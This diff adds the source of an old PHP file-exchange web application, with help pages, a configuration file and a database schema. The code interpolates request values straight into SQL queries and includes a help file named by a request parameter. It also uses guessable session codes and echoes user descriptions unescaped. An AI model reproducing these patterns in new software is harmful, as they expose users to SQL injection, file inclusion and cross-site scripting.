--- /dev/null
+Options +FollowSymLinks
+RewriteEngine On
+RewriteBase /
+RewriteRule ^.*-([0-9]*)/$ index\.phtml?catid=$1
+RewriteRule site-map sitemap.php
+
--- /dev/null
+<HTML>
+ <BODY>
+
+ </BODY>
+</HTML>
+
--- /dev/null
+<?
+
+/****************************************************************
+
+ File: help.phtml
+ Context sensitve help program
+
+ History:
+ Version 1.0.1 - Written 8/8/2000
+
+ Proprietary materials of Gaslight Media
+ See COPYWRIGHT for use information.
+
+****************************************************************/
+
+$THIS_PROGRAM = "help.phtml";
+
+$PAGE_TITLE = ""; // To keep admin-setup.inc from complaining
+
+require( "../siteinfo.inc" );
+
+$current_page = "Help.none";
+$page_title = "";
+
+print( '
+<HTML>
+ <HEAD>
+ <TITLE>Help</TITLE>
+ </HEAD>
+ <BODY BGCOLOR="'.$LF_HELP_BG_CLR.'" BACKGROUND="'.SI_BASE_URL.'/FileExchange/images/helpbg.gif" TEXT="'.$LF_HELP_TEXT_CLR.'">
+ <CENTER><FONT COLOR="'.$LF_TITLE_CLR.'">'.$TOOLS_TITLE.'</FONT><BR><HR><BR></CENTER>
+' );
+
+include( "$TOOLS_HELP_PATH/$HELP_PAGE" );
+
+print( '
+ <BR CLEAR="ALL">
+ <CENTER>
+ <A HREF="help.phtml" onClick = "window.close(\'self\');">Close Help Window</A>
+ </CENTER>
+ </BODY>
+</HTML>
+' );
+
+?>
--- /dev/null
+<CENTER>
+ <H4>Confirm Delete File</H4>
+</CENTER>
+This page indicates that a file has been successfully deleted. You may click any menu item at the top
+of the page to continue.
+<P>
--- /dev/null
+<CENTER>
+ <H4>Logging in to File Exchange</H4>
+</CENTER>
+Before you can upload or download files, you must login with the ID and Password assigned to you. <P>
+Once you login, you will be able to upload, download and delete files.<P>
+If you don't know your ID and Password, you will need to contact the vendor who manages this file exchange
+for assistance. <P>
+<HR WIDTH="50%">
+<P>
+<CENTER>
+ <H4>Menu Options</H4>
+</CENTER>
+At the top of each page you will find a menu. Items in this menu may or may not be available depending on
+what you're doing at the time. If the items in this menu are not highlighted, they are not available. If
+they are highlighted, you may click on them to access those functions
+
+<DL>
+ <DT><B>List Files</B>
+ <DD>Return to the list of files that have been uploaded.
+ <P>
+ <DT><B>Upload a new file</B>
+ <DD>Display a form used to upload a new file.
+ <P>
+ <DT><B>Login as a different customer</B>
+ <DD>If you have more than one customer account with this vendor, you may select this function to
+ login with a different ID and password.
+ <P>
--- /dev/null
+<CENTER>
+ <H4>Delete File</H4>
+</CENTER>
+You will be presented with this screen when you select the "Delete" action for a file in the file list.
+To actually delete the file, select "Confirm Delete" in the Action field. If you do not select "Confirm Delete",
+the file will not be deleted.
+<P>
--- /dev/null
+<CENTER>
+ <H4>Error</H4>
+</CENTER>
+ An error of some sort has occured. Please read the error message displayed on the
+ screen to determine what went wrong.
+ <P>
--- /dev/null
+<CENTER>
+ <H4>List files</H4>
+</CENTER>
+This screen lists all files that are currently available, whether they were uploaded by you or by the
+vendor. <P>
+<HR WIDTH="50%">
+<P>
+<CENTER>
+ <H4>Fields listed</H4>
+</CENTER>
+<DL>
+ <DT><B>File</B>
+ <DD>This is the name of the file. You may view or download this file by clicking on the file name.
+ To force the file to download rather than displaying on your screen, click your right mouse
+ button and select "Save target as..." (or whatever is appropriate for your browser).
+ <P>
+ <DT><B>Date</B>
+ <DD>This field contains the date and time the file was uploaded. The list of files is ordered by
+ date and time, with the more receint uploads near the top.
+ <P>
+ <DT><B>Size</B>
+ <DD>Size in "bytes" of this file.
+ <P>
+ <DT><B>Type</B>
+ <DD>This is the type of the file. The File Exchange will make a best guess at the type of the file.
+ <P>
+ <DT><B>Direction</B>
+ <DD>This field indicates whether the file was uploaded by you (From You) or by the vendor (To You).
+ The color of this field is either green or blue (From You or To You respectively).
+ <P>
+ <DT><B>Action</B>
+ <DD>This field indicates actions that you may take on the file. In general, the only option available
+ will be to delete the file.
+ <P>
+ <DT><B>(Second Line)</B>
+ <DD>The second line of information for each file contains any description that may have been provided
+ when the file was uploaded.
+ <P>
+
+
--- /dev/null
+<CENTER>
+ <H4>Login Failure</H4>
+</CENTER>
+You have reached this page because you failed to login correctly. You will need both an ID and a password
+to access this file exchange. For assistance, contact the vendor who manages this file exchange.
+<P>
--- /dev/null
+<CENTER>
+ <H4>Upload File</H4>
+</CENTER>
+This page indicates that the file was properly uploaded and that an E-Mail message has been sent
+to the vendor to let them know the file is available. Click on "Continue" or select an item from
+the menu at the top of the screen.
+<P>
--- /dev/null
+<CENTER>
+ <H4>Upload New File</H4>
+</CENTER>
+This form is used to upload a new file. When you upload a new file, the vendor will receive
+E-Mail informing them that the file is available.
+<P>
+<HR WIDTH="50%">
+<P>
+<CENTER>
+ <H4>Fields</H4>
+</CENTER>
+<DL>
+ <DT><B>File to upload</B>
+ <DD>Enter the complete path and filename of the file you would like to upload or
+ click "Browse..." to select a file from your system.
+ <P>
+ <DT><B>Description</B>
+ <DD>Enter a description, comments or instructions you would like to be sent to the
+ vendor along with this file
+ <P>
--- /dev/null
+<?
+
+// FileExchange - Managed Customer File Exchange Application - User Side
+
+$header_sent = FALSE;
+$footer_sent = FALSE;
+$noupload = "FALSE";
+
+if( !isset($action) )
+ $action = "";
+
+
+include( "../siteinfo.inc" );
+
+
+
+function do_header()
+{
+
+ global $page_title, $current_page, $LF_BG_CLR, $LF_LINK_CLR, $LF_VLINK_CLR, $LF_ALINK_CLR, $LF_TABLE_CLR,
+ $LF_HEADER_CLR, $LF_TITLE_CLR, $LF_TITLE_2_CLR, $LF_NOLINK_CLR, $TOOLS_TITLE,
+ $TOOLS_URL, $session, $domains, $current_page, $header_sent, $domain, $cust, $usercode, $cust_data;
+
+ $header_sent = TRUE;
+
+ echo '
+ <HTML>
+ <HEAD>
+ <TITLE>'.$TOOLS_TITLE.'</TITLE>
+ <META NAME="Author" CONTENT="Gaslight Media">
+ </HEAD>
+ <BODY BGCOLOR="'.$LF_BG_CLR.'" LINK="'.$LF_LINK_CLR.'" VLINK="'.$LF_VLINK_CLR.'" ALINK="'.$LF_ALINK_CLR.'">
+ <CENTER>
+ <TABLE BGCOLOR="'.$LF_TABLE_CLR.'" BORDER="0" CELLPADDING="2" CELLSPACING="0" WIDTH="90%">
+ <TR BGCOLOR="'.$LF_HEADER_CLR.'">
+ <TD>
+ <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0" BORDER="0" WIDTH="100%">
+ <TR>
+ <TD WIDTH="1%"> </TD>
+ <TD VALIGN="MIDDLE" ALIGN="CENTER">
+ <FONT COLOR="'.$LF_TITLE_CLR.'" SIZE="4">'.$TOOLS_TITLE.'</FONT><BR>
+ <FONT COLOR="'.$LF_TITLE_2_CLR.'">'.$page_title.'</FONT>
+ </TD>
+ <TD WIDTH="1%" VALIGN="TOP" ALIGN="RIGHT">
+ <A HREF="'.SI_BASE_URL.'/FileExchange/help.phtml?HELP_PAGE='.$current_page.'.hlp" TARGET="Help"
+
+ onClick="
+ w=window.open(\'\',\'Help\');
+ w.close();
+ w=window.open(\''.SI_BASE_URL.'/FileExchange/help.phtml?HELP_PAGE='.$current_page
+ .'.hlp\',\'Help\',\'toolbar=0,location=0,directories=0,'
+ .'status=0,menubar=0,scrollbars=1,resizable=0,width=350,height=400\');
+ ">
+ <IMG SRC="'.SI_BASE_URL.'/FileExchange/images/help.gif" BORDER="0"></A>
+ </TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR>
+ <TR BGCOLOR="'.$LF_TABLE_CLR.'">
+ <TD>
+ <CENTER>
+ ';
+
+ switch( $current_page )
+ {
+ case "customer_login":
+ $list_files_link = FALSE;
+ $upload_new_file_link = FALSE;
+ $login_link = FALSE;
+ break;
+ case "login_failure":
+ $list_files_link = FALSE;
+ $upload_new_file_link = FALSE;
+ $login_link = TRUE;
+ break;
+ case "list_files":
+ $list_files_link = FALSE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "upload_new_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = FALSE;
+ $login_link = TRUE;
+ break;
+ case "upload_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "delete_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "confirm_delete_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "error":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ default:
+ error_msg( "Invalid page ID", __FILE__, __LINE__, $current_page );
+ break;
+ }
+
+ echo "| ";
+
+ // if not permitted to upload, don't display link
+ if( $cust_data['post'] == "f" )
+ $upload_new_file_link = FALSE;
+
+ if( $list_files_link )
+ echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=List+Files">List files</A> | ';
+ else
+ echo 'List files | ';
+
+ if( $upload_new_file_link )
+ echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=Upload+New+File">Upload new file</A> | ';
+ else
+ echo 'Upload new file | ';
+
+ if( $login_link )
+ echo '<A HREF="index.phtml">Login as different customer</A> | ';
+ else
+ echo 'Login as different customer | ';
+
+ echo ' <P>
+ ';
+
+
+}
+
+function do_footer()
+{
+
+ global $LF_FOOTER_CLR, $LF_COPYWRIGHT_CLR, $GM_COPYWRIGHT;
+
+ echo ' <P>
+ </TD>
+ </TR>
+ <TR BGCOLOR="'.$LF_FOOTER_CLR.'">
+ <TD><CENTER><FONT COLOR="'.$LF_COPYWRIGHT_CLR.'">'.$GM_COPYWRIGHT.'</FONT></CENTER></TD>
+ </TR>
+ </TABLE>
+ <CENTER>
+ </BODY>
+ </HTML>
+ ';
+
+}
+
+function error_msg( $message )
+{
+ do_header();
+ echo $message;
+ do_footer();
+ exit;
+}
+
+ // Open Database
+
+if( !$conn = pg_connect( SI_CONN_STR ) )
+ error_msg( "Can't open database", __FILE__, __LINE__, "" );
+
+ // If customer number is supplied, retrieve data
+
+$page_title = "Error"; // Just in case we have a failure we'll have something for the header
+$current_page = "error";
+
+if( isset($cust) && ($cust != "") )
+ {
+ if( !($cust_result = pg_Exec( $conn, "SELECT * FROM cust WHERE custnum = $cust;") ) )
+ error_msg( "Can't retrieve customer information", __FILE__, __LINE__, "" );
+ if( pg_NumRows( $cust_result ) != 1 )
+ error_msg( "Retrieved wrong number of results", __FILE__, __LINE__, "" );
+ if( !($cust_data = pg_fetch_array($cust_result, 0)) )
+ error_msg( "Can't retrieve customer data", __FILE__, __LINE__, "" );
+
+ // Check for valid login
+
+ if( $usercode != $cust_data['directory'] )
+ error_msg( "Invalid customer session", __FILE__, __LINE__, "" );
+ }
+
+ // If file number is supplied, retrieve data
+
+if( isset($file) && ($file != "") )
+ {
+ if( !($file_result = pg_Exec( $conn, "SELECT * FROM file WHERE filenum = $file;") ) )
+ error_msg( "Can't retrieve file information", __FILE__, __LINE__, "" );
+ if( pg_NumRows( $file_result ) == 0 )
+ error_msg( "File was not found", __FILE__, __LINE__, "" );
+ if( pg_NumRows( $file_result ) != 1 )
+ error_msg( "Retrieved wrong number of results", __FILE__, __LINE__, "" );
+ if( !($file_data = pg_fetch_array($file_result, 0)) )
+ error_msg( "Can't retrieve file data", __FILE__, __LINE__, "" );
+ }
+
+switch( $action )
+ {
+
+ case "Login":
+ $page_title = "Login Failure";
+ $current_page = "login_failure";
+
+ // Check to see if ID and Password are supplied
+
+ if( !isset($id) || ($id == "") || !isset($passwd) || ($passwd == "") )
+ error_msg( "Both ID and password are required", __FILE__, __LINE__, "" );
+
+ // Retrieve customer record
+
+ if( !($cust_result = pg_Exec( $conn, "SELECT * FROM cust WHERE id = '$id' AND passwd = '".md5($passwd)."';") ) )
+ error_msg( "ID and password do not match", __FILE__, __LINE__, "" );
+ if( pg_NumRows( $cust_result ) != 1 )
+ error_msg( "ID and password do not match any listed customer", __FILE__, __LINE__,
+ '<A HREF="index.phtml">Continue</A>' );
+ if( !($cust_data = pg_fetch_array($cust_result, 0)) )
+ error_msg( "Can't retrieve customer data", __FILE__, __LINE__, "" );
+
+ $usercode = $cust_data['directory'];
+ $cust = $cust_data['custnum'];
+
+ // No break here. If login is successfull, it falls down to "List Files"
+
+ case "List Files":
+ $page_title = "List Files";
+ $current_page = "list_files";
+ do_header();
+
+ // Retrieve List of Files
+
+ if( !($files_result = pg_Exec( $conn, "SELECT * FROM file WHERE custnum = $cust ORDER BY date DESC;") ) )
+ error_msg( "Can't retrieve files information", __FILE__, __LINE__, "" );
+
+ // Display Files Table Header
+
+ echo $LF_HEAD1.'Files List</FONT><BR>
+ <P>
+ <TABLE BORDER>
+ <TR><TH>File</TH><TH>Date</TH><TH>Size</TH><TH>Type</TH><TH>Direction</TH><TH>Action</A></TR>
+ ';
+
+ // List each file with actions
+
+ if( ($num = pg_NumRows($files_result)) == 0 )
+ echo '<TR><TD COLSPAN="6" ALIGN="middle"><FONT COLOR="'.$LF_ERROR_CLR.'">No Files Listed</TD></TR>';
+ else
+ for( $i=0 ; $i<$num ; $i++ )
+ {
+ $file_data = pg_Fetch_Array($files_result, $i);
+
+ echo '<TR>
+ <TD><A HREF="'.$DATA_URL.'/'.$cust_data['directory'].'/'.$file_data['name'].'">'
+ .$file_data['name'].'</A></TD>
+ <TD>'.$file_data['date'].'</TD>
+ <TD>'.$file_data['size'].'</TD>
+ <TD>'.$file_data['type'].'</TD>
+ <TD>'.($file_data['source']==0 ? '<FONT COLOR="blue">To You</FONT>' :
+ '<FONT COLOR="green">From You</FONT>').'</TD>
+ <TD>';
+
+ if( $cust_data['delete'] == "t" )
+ echo '<A HREF="index.phtml?cust='.$cust.'&usercode='
+ .$usercode.'&file='.$file_data['filenum'].'&action=Delete+File">Delete</A>';
+ else
+ echo ' ';
+
+ echo ' </TD>
+ </TR>
+ <TR><TD> </TD><TD COLSPAN="5">'
+ .($file_data['descr']!=""?$file_data['descr']:"(description not supplied)").'</TD></TR>
+ </TR>
+ ';
+ }
+
+ echo "</TABLE>";
+
+ do_footer();
+ break;
+
+ case "Upload New File":
+ $page_title = "Upload New File";
+ $current_page = "upload_new_file";
+ do_header();
+
+ if( !($admin_result = pg_Exec( $conn, "SELECT * FROM admin;" )) )
+ error_msg( "Can't retrieve system information", __FILE__, __LINE__, "" );
+ if( !($admin_data = pg_fetch_array($admin_result, 0)) )
+ error_msg( "Can't retrieve system information", __FILE__, __LINE__, "" );
+
+
+ echo $LF_HEAD1.'Upload file for: '.$admin_data['name'].'</FONT><BR>
+ <P>
+ <FORM ACTION="index.phtml" ENCTYPE="multipart/form-data" METHOD=POST>
+ <INPUT TYPE="hidden" NAME="cust" VALUE="'.$cust.'">
+ <INPUT TYPE="hidden" NAME="usercode" VALUE="'.$usercode.'">
+ <INPUT TYPE="hidden" NAME="MAX_FILE_SIZE" VALUE="'.$MAX_FILE_SIZE.'">
+ <TABLE BORDER="0">
+ <TR><TH ALIGN="right">File to upload</TH>
+ <TD ALIGN="left"><INPUT TYPE="file" NAME="uploadfile" SIZE="40" MAXLENGTH="1000"></TD></TR>
+ <TR><TH ALIGN="right">Description</TH>
+ <TD ALIGN="right"><TEXTAREA NAME="description" ROWS="4" COLS="50"></TEXTAREA></TD></TR>
+ <TR><TD COLSPAN="2" ALIGN="middle"><INPUT TYPE="submit" NAME="action" VALUE="Upload File"></TD></TR>
+ </TABLE>
+ </FORM>
+ ';
+
+ do_footer();
+ break;
+
+
+ case "Upload File":
+ $page_title = "Upload File";
+ $current_page = "upload_file";
+ do_header();
+
+ // Check to see if file was uploaded
+
+ if( !file_exists($uploadfile) )
+ error_msg( "No file uploaded.", __FILE__, __LINE__, "" );
+
+ // Check to see if a file of the same name is currently listed
+
+ $converted_file_name = str_replace( " ", "_", $uploadfile_name ); // Convert " " to "_"
+ $filename = $converted_file_name;
+ for( $seq=0 ; ; $seq++ )
+ {
+
+ // If this isn't the first try, afix a sequence number on the end of the filename
+
+ if( $seq > 0 )
+ $filename = $seq."_".$converted_file_name;
+
+ // Check to see if there's already a file of that name
+
+ if( !($file_result = pg_Exec( $conn, "SELECT * FROM file WHERE name = '$filename';") ) )
+ error_msg( "Can't retrieve customer information", __FILE__, __LINE__, "" );
+ if( pg_NumRows( $file_result ) == 0 ) // If not
+ break; // Exit for()
+
+ }
+
+ // Copy file to customers directory
+
+ if( !copy( $uploadfile, "$DATA_PATH/".$cust_data['directory']."/$filename" ) )
+ error_msg( "Can't copy file to customer's directory.", __FILE__, __LINE__, "" );
+
+ // Store information on this file
+
+ if( !isset($uploadfile_type) )
+ $uploadfile_type = "(unknown)";
+
+ if( !pg_exec( $conn, "INSERT INTO file (custnum, name, date, size, type, source, ipaddr, descr)
+ VALUES ($cust, '$filename', 'now', $uploadfile_size, '$uploadfile_type', 1,
+ '".getenv("REMOTE_ADDR")."', '$description');" ) )
+ error_msg( "Can't store file information.", __FILE__, __LINE__, "" );
+
+ // Notify customer
+
+ if( !($admin_result = pg_Exec( $conn, "SELECT * FROM admin;") ) )
+ error_msg( "Can't retrieve customer information", __FILE__, __LINE__, "" );
+ $admin = pg_Result( $admin_result, 0, "name" );
+ $admin_email = pg_Result( $admin_result, 0, "email" );
+
+ mail( $admin_email, "New file available from ".$cust_data['name'],
+ "\nA new file is available for you to download.\n\n"
+ ."From: ".$cust_data['name']."\n"
+ ."File Name: $filename\n"
+ ."Size: $uploadfile_size\n"
+ ."Type: $uploadfile_type\n\n"
+ ."File Description\n"
+ ."----------------\n"
+ ."$description\n\n", "From: ".$cust_data['email'] );
+
+
+ echo 'File Uploaded<P>
+ <A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=List+Files">Continue</A>
+ ';
+
+ do_footer();
+ break;
+
+
+ case "Delete File":
+ $page_title = "Delete File";
+ $current_page = "delete_file";
+ do_header();
+
+ echo $LF_HEAD1.'Delete File</FONT><BR>
+ <TABLE BORDER>
+ <TR><TH>File</TH><TH>Date</TH><TH>Size</TH><TH>Type</TH><TH>Direction</TH><TH>IP Address</TH><TH>Action</A></TR>
+ <TR>
+ <TD><A HREF="'.$DATA_URL.'/'.$cust_data['directory'].'/'.$file_data['name'].'">'
+ .$file_data['name'].'</A></TD>
+ <TD>'.$file_data['date'].'</TD>
+ <TD>'.$file_data['size'].'</TD>
+ <TD>'.$file_data['type'].'</TD>
+ <TD>'.($file_data['source']==0 ? '<FONT COLOR="blue">To Customer</FONT>' :
+ '<FONT COLOR="green">From Customer</FONT>').'</TD>
+ <TD>'.$file_data['ipaddr'].'</TD>
+ <TD>
+ <A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&file='.$file_data['filenum'].'&action=Confirm+Delete+File">Confirm Delete</A>
+ </TR>
+ <TR><TD> </TD><TD COLSPAN="6">'
+ .($file_data['descr']!=""?$file_data['descr']:"(description not supplied)").'</TD></TR>
+ </TABLE>
+ ';
+
+ do_footer();
+ break;
+
+ case "Confirm Delete File":
+ $page_title = "Confirm Delete File";
+ $current_page = "confirm_delete_file";
+ do_header();
+
+ pg_Exec( $conn, "DELETE FROM file WHERE filenum = $file;" );
+
+ if( ! unlink($DATA_PATH.'/'.$cust_data['directory'].'/'.$file_data['name']) )
+ error_msg( "Unable to delete file", __FILE__, __LINE__, "" );
+
+
+ echo $file_data['name'].' <FONT COLOR="'.$LF_ERROR_CLR.'">DELETED</FONT><P>
+ ';
+
+ do_footer();
+ break;
+
+
+ default:
+ $page_title = "Customer Login";
+ $current_page = "customer_login";
+ do_header();
+ echo $LF_HEAD1.'Please login...</FONT>
+ <P>
+ <FORM ACTION="index.phtml" METHOD="post">
+ Customer ID <INPUT TYPE="text" NAME="id">
+ Password <INPUT TYPE="password" NAME="passwd">
+ <INPUT TYPE="submit" NAME="action" VALUE="Login">
+ </FORM>
+ ';
+ do_footer();
+ break;
+
+ }
+
+?>
--- /dev/null
+<?
+
+/***************************************************************
+
+ Gaslight Media User Tools
+
+ File: setup.inc
+ Global Setup Information
+
+ History:
+
+ Proprietary materials of Gaslight Media
+ See COPYWRIGHT for use information.
+
+ ----------------------------------
+
+ Setup for: FileExchange - Admin Section
+
+****************************************************************/
+
+
+//***************************** GLOBAL CONFIGURATION ***********************************
+
+$DEBUG = FALSE; // Set to TRUE to display debug information
+error_reporting(15); // PHP error reporting - 1=Error, 2=Warning, 4=Parse, 8=Notice, 15=All
+
+
+$MAX_FILE_SIZE = "30000000"; // Maximum file upload size = 30 Megs
+
+ // Database Configuration
+
+$DBHOST = "ds1.gaslightmedia.com";
+$DBNAME = "mtrnfileexchange";
+
+ // Location and paths
+
+$TOOLS_TITLE = "Michigan Talk Radio Network File Exchange";
+$TOOLS_NAME = "FileExchange";
+$SERVER_URL = "http://www.michigantalkradio.com";
+$SERVER_PATH = "/home/httpd/server/www.michigantalkradio.com";
+$DATA_PATH = "/home/httpd/server/www.michigantalkradio.com/FileExchange/data";
+$CUST_URL = "http://www.michigantalkradio.com/FileExchange";
+$DATA_URL = "$CUST_URL/data";
+
+ // Don't modify these locations and paths
+$TOOLS_URL = "$SERVER_URL/$TOOLS_NAME";
+$TOOLS_PATH = "$SERVER_PATH/$TOOLS_NAME";
+$TOOLS_IMAGES_URL = "$TOOLS_URL/images";
+$TOOLS_IMAGES_PATH = "$TOOLS_PATH/images";
+$TOOLS_HELP_PATH = "$TOOLS_PATH/help_files";
+
+
+//***************************** ADMIN CONFIGURATION ***********************************
+
+ // Look and Feel section
+
+$LF_BG_CLR = "#C6EFF7"; // Background color
+$LF_LINK_CLR = "#BLUE"; // Link color
+$LF_VLINK_CLR = "#BLUE"; // Visited link color
+$LF_ALINK_CLR = "#CYAN"; // Active link Color
+$LF_NOLINK_CLR = "#A1A1A1"; // Unavailable link color
+
+$LF_TABLE_CLR = "#FFFFFF"; // Table color (working area background)
+$LF_HEADER_CLR = "#00A5C6"; // Table header background color
+$LF_FOOTER_CLR = "#00A5C6"; // Table footer background color
+$LF_TITLE_CLR = "#005263"; // Admin page title color
+$LF_TITLE_2_CLR = "#FFFF10"; // Admin page title line #2 color
+$LF_REQ_FIELD_CLR = "BLUE"; // Color of required fields in forms
+#LF_COPYWRIGHT_CLR = "#005263"; // Copywright line color
+
+$LF_HELP_BG_CLR = "#FFFFFF"; // Help system background color
+$LF_HELP_TEXT_CLR = "#000000"; // Help system text color
+
+$LF_ERROR_CLR = "red"; // Error message color
+
+$LF_HEAD1 = '<FONT SIZE="6" COLOR="'.$LF_HEADER_CLR.'">';
+
+ // Misc Definitions
+
+$ENTRIES_PER_PAGE = 10;
+$GM_COPYWRIGHT = "Copyright © 1998-2000 <A HREF=\"http://www.gaslightmedia.com/\">Gaslight Media</A> - All rights reserved.";
+
+$header_sent = FALSE;
+
+//***************************** FUNCTION DECLARATIONS ***********************************
+
+ // Display error message
+
+function error_msg( $error, $file, $line, $other )
+{
+ global $DEBUG, $header_sent, $TOOLS_TITLE;
+
+ if( !isset($header_sent) || !$header_sent )
+ {
+ $page_title = "$TOOLS_TITLE - ERROR";
+ $current_page = "error";
+ do_header();
+ }
+ print( " <P><B>An error occured: </B>$error<BR>" );
+ if( $DEBUG )
+ print( "<FONT FACE=\"Courier New\" SIZE=2><PRE>File: $file<BR>Line: $line<BR>Other Info:<BR>" );
+
+
+ if( is_array($other) )
+ while( list($key,$val) = each($other) )
+ print( $val );
+ else
+ print( $other );
+
+ print( "</PRE></FONT> <P>" );
+ do_footer();
+ exit;
+}
+
+function do_header()
+{
+
+ global $page_title, $current_page, $LF_BG_CLR, $LF_LINK_CLR, $LF_VLINK_CLR, $LF_ALINK_CLR, $LF_TABLE_CLR,
+ $LF_HEADER_CLR, $LF_TITLE_CLR, $LF_TITLE_2_CLR, $LF_NOLINK_CLR, $TOOLS_IMAGES_URL, $TOOLS_TITLE,
+ $TOOLS_URL, $session, $domains, $current_page, $header_sent, $domain, $cust, $usercode, $cust_data;
+
+ $header_sent = TRUE;
+
+ echo '
+ <HTML>
+ <HEAD>
+ <TITLE>'.$TOOLS_TITLE.'</TITLE>
+ <META NAME="Author" CONTENT="Gaslight Media">
+ </HEAD>
+ <BODY BGCOLOR="'.$LF_BG_CLR.'" LINK="'.$LF_LINK_CLR.'" VLINK="'.$LF_VLINK_CLR.'" ALINK="'.$LF_ALINK_CLR.'">
+ <CENTER>
+ <TABLE BGCOLOR="'.$LF_TABLE_CLR.'" BORDER="0" CELLPADDING="2" CELLSPACING="0" WIDTH="90%">
+ <TR BGCOLOR="'.$LF_HEADER_CLR.'">
+ <TD>
+ <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0" BORDER="0" WIDTH="100%">
+ <TR>
+ <TD WIDTH="1%"><IMG SRC="'.$TOOLS_IMAGES_URL.'/gaslight_small.jpg"></TD>
+ <TD VALIGN="MIDDLE" ALIGN="CENTER">
+ <FONT COLOR="'.$LF_TITLE_CLR.'" SIZE="4">'.$TOOLS_TITLE.'</FONT><BR>
+ <FONT COLOR="'.$LF_TITLE_2_CLR.'">'.$page_title.'</FONT>
+ </TD>
+ <TD WIDTH="1%" VALIGN="TOP" ALIGN="RIGHT">
+ <A HREF="'.$TOOLS_URL.'/help.phtml?HELP_PAGE='.$current_page.'.hlp" TARGET="Help"
+
+ onClick="
+ w=window.open(\'\',\'Help\');
+ w.close();
+ w=window.open(\''.$TOOLS_URL.'/help.phtml?HELP_PAGE='.$current_page
+ .'.hlp\',\'Help\',\'toolbar=0,location=0,directories=0,'
+ .'status=0,menubar=0,scrollbars=1,resizable=0,width=350,height=400\');
+ ">
+ <IMG SRC="'.$TOOLS_IMAGES_URL.'/help.gif" BORDER="0"></A>
+ </TD>
+ </TR>
+ </TABLE>
+ </TD>
+ </TR>
+ <TR BGCOLOR="'.$LF_TABLE_CLR.'">
+ <TD>
+ <CENTER>
+ ';
+
+ switch( $current_page )
+ {
+ case "customer_login":
+ $list_files_link = FALSE;
+ $upload_new_file_link = FALSE;
+ $login_link = FALSE;
+ break;
+ case "login_failure":
+ $list_files_link = FALSE;
+ $upload_new_file_link = FALSE;
+ $login_link = TRUE;
+ break;
+ case "list_files":
+ $list_files_link = FALSE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "upload_new_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = FALSE;
+ $login_link = TRUE;
+ break;
+ case "upload_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "delete_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "confirm_delete_file":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ case "error":
+ $list_files_link = TRUE;
+ $upload_new_file_link = TRUE;
+ $login_link = TRUE;
+ break;
+ default:
+ error_msg( "Invalid page ID", __FILE__, __LINE__, $current_page );
+ break;
+ }
+
+ echo "| ";
+
+ // if not permitted to upload, don't display link
+ if( $cust_data['post'] == "f" )
+ $upload_new_file_link = FALSE;
+
+ if( $list_files_link )
+ echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=List+Files">List files</A> | ';
+ else
+ echo 'List files | ';
+
+ if( $upload_new_file_link )
+ echo '<A HREF="index.phtml?cust='.$cust.'&usercode='.$usercode.'&action=Upload+New+File">Upload new file</A> | ';
+ else
+ echo 'Upload new file | ';
+
+ if( $login_link )
+ echo '<A HREF="index.phtml">Login as different customer</A> | ';
+ else
+ echo 'Login as different customer | ';
+
+ echo ' <P>
+ ';
+
+
+}
+
+function do_footer()
+{
+
+ global $LF_FOOTER_CLR, $LF_COPYWRIGHT_CLR, $GM_COPYWRIGHT;
+
+ echo ' <P>
+ </TD>
+ </TR>
+ <TR BGCOLOR="'.$LF_FOOTER_CLR.'">
+ <TD><CENTER><FONT COLOR="'.$LF_COPYWRIGHT_CLR.'">'.$GM_COPYWRIGHT.'</FONT></CENTER></TD>
+ </TR>
+ </TABLE>
+ <CENTER>
+ </BODY>
+ </HTML>
+ ';
+
+}
+
+function fail( $message )
+{
+ do_header();
+ echo $message;
+ do_footer();
+ exit;
+}
--- /dev/null
+<?php
+/*
+ * GLM Standard Site Monitoring Target
+ *
+ *
+ */
+
+ // Set these parameters for each site
+
+define( 'HOST', 'ds1.gaslightmedia.com' );
+define( 'USER', 'nobody' );
+define( 'DBNAME', 'n8dnx' );
+
+ // End of parameters to set for each site
+
+include('/home/httpd/templates/Global_site_check.phtml')
+
+?>
+
--- /dev/null
+\connect - postgres
+
+CREATE TABLE "bus" (
+ "id" SERIAL,
+ "name" text,
+ "description" text,
+ "description2" text,
+ "description3" text,
+ "image" text,
+ "imagename" text,
+ "image2" text,
+ "image2name" text,
+ "image3" text,
+ "image3name" text,
+ "urlname" text,
+ "url" text,
+ "address" text,
+ "city" text,
+ "state" text,
+ "zip" text,
+ "phone" text,
+ "fax" text,
+ "email" text,
+ "pos" integer,
+ "file" text,
+ "filename" text,
+ "file2" text,
+ "file2name" text,
+ "file3" text,
+ "file3name" text,
+ "contactname" text
+);
+
+REVOKE ALL on "bus" from PUBLIC;
+GRANT ALL on "bus" to "nobody";
+GRANT ALL on "bus" to "postgres";
+
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT ALL on "bus_id_seq" to "postgres";
+
+CREATE TABLE "bus_category" (
+ "id" SERIAL,
+ "parent" integer,
+ "category" text,
+ "intro" text,
+ "description" text,
+ "image" text,
+ "active" bool,
+ "pos" integer,
+ "keyword" text,
+ "template" int
+);
+
+REVOKE ALL on "bus_category" from PUBLIC;
+GRANT ALL on "bus_category" to "nobody";
